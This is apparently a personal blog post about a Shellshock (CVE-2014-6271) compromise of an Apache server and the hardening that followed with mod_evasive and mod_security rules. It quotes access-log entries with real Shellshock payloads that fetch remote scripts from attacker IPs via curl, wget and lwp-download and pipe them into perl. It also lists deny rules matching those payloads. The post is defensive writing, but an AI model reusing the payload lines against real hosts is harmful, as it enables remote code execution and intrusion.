Post Shell Shock - Tightening up Apache Security with mod_security and mod_evasive

Printer-friendly versionPDF version

Without a shadow of a doubt the Shockwell vulnerablity compromised my system. The say correctly, security should never be an after thought, although in my case, I had put it off for a bit. Maybe a correctly secured Apache configuration might have saved me, but not so sure about that anyways. Anyways the below count of strange user agents appeared in my log for the month of October. I surrounded the dots with square brackets to avoid any of you accidently clicking the below link. Out of curiosity, even I tried a wget on the url but go nothing. Probably the server is down now or cleanup, as its already a couple of weeks into the vulnerability.

378 accesses () { :; }; curl http://202 [.]143[.]160[.]141/lib21/index.cgi | perl
111 accesses

() { :; }; curl http://202[.]28 [.]77[.]53/~prajaks/310482/index.png | perl

It didn't stop there for the month of October, only a few days into November and the accesses were already equalling that of the total of last month.

374 accesses () { :; }; curl http://202 [.]28[.]77[.]53/~prajaks/310482/index.png | perl
372 accesses () { :; }; curl http://202[.]143[.] 160[.]141/lib21/index.cgi | perl

Why I think I was compromised. Well to begin with digging my apt logs, I patched the bash vulnerability on the below date.

2014-10-25 23:03:54 upgrade bash: 4.2+dfsg-0.1 4.2+dfsg-0.1+deb7u3

The first successful expliot according to my server access logs was on the 20th. You can notice that the server responded with status 200, accepting the request. Thus full 5 days I was vulnerable. I am not sure when Debian issued their patch but fact of the matter is I was nevertheless late in patching.

[20/Oct/2014:14:23:52 +0200] "GET / HTTP/1.0" 200 13680 "() { :; }; curl | perl" "() { :; }; curl | perl"

The exploits in themselves are interesting. Look at another one below, it just was a wrong vector for my server to try via cgi, otherwise it would have also probably succeeded.

80[.]241[.]209[.]165 - - [20/Oct/2014:15:28:43 +0200] "GET /cgi-bin/bit.cgi HTTP/1.0" 404 701 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; wget http://184[.]171[.]247[.]165/ji ; lwp- download http://184[.]171[.]247[.]165/ji ; curl -O /var/tmp/jiw http://184[.]171[.]247 [.]165/ji ; perl /var/tmp/ji ; rm -rf *ji\""

There are other blogs that discuss these attacks. A couple of interesing reads I found could be done here and here. Someone even uploaded the contents of the attack file here.

There was another one like below. This I haven't got around to decoding yet.

151[.]70[.]83[.]214 - - [03/Nov/2014:23:09:10 +0100] "F\xa7\xd4Hk\x01H\xde\xeey\xb1\x13\xe4\x9c\x8e\x1b\xa7" 200 32890 "-" "-"


Needless to say I needed to setup security. Looking around showed me that my first options would be "mod_evasive" and "mod_security".


Luckily I started with mod_evasive. Its an apache module to block DoS attacks, if they aren't really the huge distributed kind ones. It proved straightforward enough to setup. The module says the default configurations provided are good enough for use. Thus is was only a matter of installing and activating. Although you might additionally want to add the following lines as well to the configuration so as not to ban yourself as well.

    DOSWhitelist 127.0.0.*
    DOSWhitelist 192.168.178.*


"mod_security" was up next. It proved to be an altogether different story. Fired up synaptik, searched and installed it. An additional package "modsecurity-crs" (Core Rule Sets) also got installed with the module under "/usr/share/modsecurity-crs" in my Debian system. Did not pay any attention to it at this time. Was blissfully unaware of what "crs" stood for at the moment.

Anyways I activated the module after install from webmin. The module conf file at "/etc/apache2/mods-available/mod-security.conf ", just had a one liner that was loading files with the line "/etc/modsecurity/*.conf".

Over in the folder "/etc/modsecurity/" there was a file "modsecurity.conf-recommended" given as a starter. So just made a copy of it as "modsecurity.conf". Looking at the conf file the first line showed me it needed some changing and tweaking. "DetechtionOnly" should be "On" for things to work for one thing. So lets turn that on.

#SecRuleEngine DetectionOnly 
SecRuleEngine On

Scrolling through the rest of the properties, it looked a lot to begin with and took some reading to get started but documentation is abundant and can be found here.

One other setting that I had to tune later on was as below. You can increase the values before hand, otherwise you will see errors like "PCRE match limits were exceeded". PCRE stands for Perl Compatible Regular Expressions.

# PCRE Tuning
# We want to avoid a potential RegEx DoS condition
SecPcreMatchLimit 5000000
SecPcreMatchLimitRecursion 5000000

The next step was to take care of the shock shell accesses. Though bash shell is patched. I would rather have them blocked. I had previously read this article from red hat. Didn't understand it back then, but now having acquainted my self a bit with mod-security, it was apparent the article was discussing rules for mod-security. So re-googled the article and created a new file "/etc/modsecurity/bash-schockshell.conf" and added the rules from that article in the file. These are also mentioned below for convenience:

#Source Url 
#The following mod_security rules can be used to reject HTTP requests containing data that may be interpreted by Bash as a function definition if set in its environment. 
#They can be used to block attacks against web services, such as attacks against CGI applications.
SecRule REQUEST_HEADERS "^\(\s*\)\s+{" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

SecRule REQUEST_LINE "^\(\s*\)\s+{" "phase:1,deny,id:1000001,status:400,nolog,auditlog,msg:'CVE-2014-6271 - Bash Attack'"

#GET/POST names:
SecRule ARGS_NAMES "^\(\s*\)\s+{" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,nolog,auditlog,msg:'CVE-2014-6271 - Bash Attack'"

#GET/POST values:
SecRule ARGS "^\(\s*\)\s+{" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,nolog,auditlog,msg:'CVE-2014-6271 - Bash Attack'"

# File names for uploads:
SecRule FILES_NAMES "^\(\s*\)\s+{"  "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,nolog,auditlog,msg:'CVE-2014-6271  - Bash Attack'"

So that was that shock shell, hopefully atleast. While we are at it lets add some other rules. There are a bulk of other accesses from my servers access.log file that I would like to see stop on my server. Though many of them are met with status 404 by Apache, but explicitly blocking them, I would rest more easy. So I created another file called "/etc/modsecuritycustom.conf". And put the following line in it:

SecRule REQUEST_HEADERS "/vtigercrm|(/cgi-bin/(php(4|5|-cgi|\.cgi)?|(.*\.cgi)))" "phase:1,deny,id:7000000,t:urlDecode,status:400,nolog,auditlog,msg:'CGI attempted.'"

Later I learned, it is still missing some url patterns, than I changed it to be the following:

SecRule REQUEST_HEADERS "(/cgi-bin/(php(4|5|-cgi|\.cgi)?|(.*\.cgi)))" "phase:1,deny,id:7000000,t:urlDecode,status:400,nolog,auditlog,msg:'CGI attempted.'"
SecRule REQUEST_LINE ".*/bitrix.*|.*/wp-login.php|.*/user/register.*|.*/bbs.*|.*/vtigercrm.*|(/cgi-bin/(php(4|5|-cgi|\.cgi)?|(.*\.cgi)))" "phase:1,deny,id:7000001,t:urlDecode,status:400,nolog,auditlog,msg:'CGI attempted.'"

So now things should be much better. Just for safety I would need to refresh my server from a clean image eventually. While I could find no rogue processes, I can't rule out that there aren't any. Passwords are also changed but system refresh for me would be inevitable.

The next article will be about the Core rule sets that come with mod_security here. So stay tuned.




Top level category: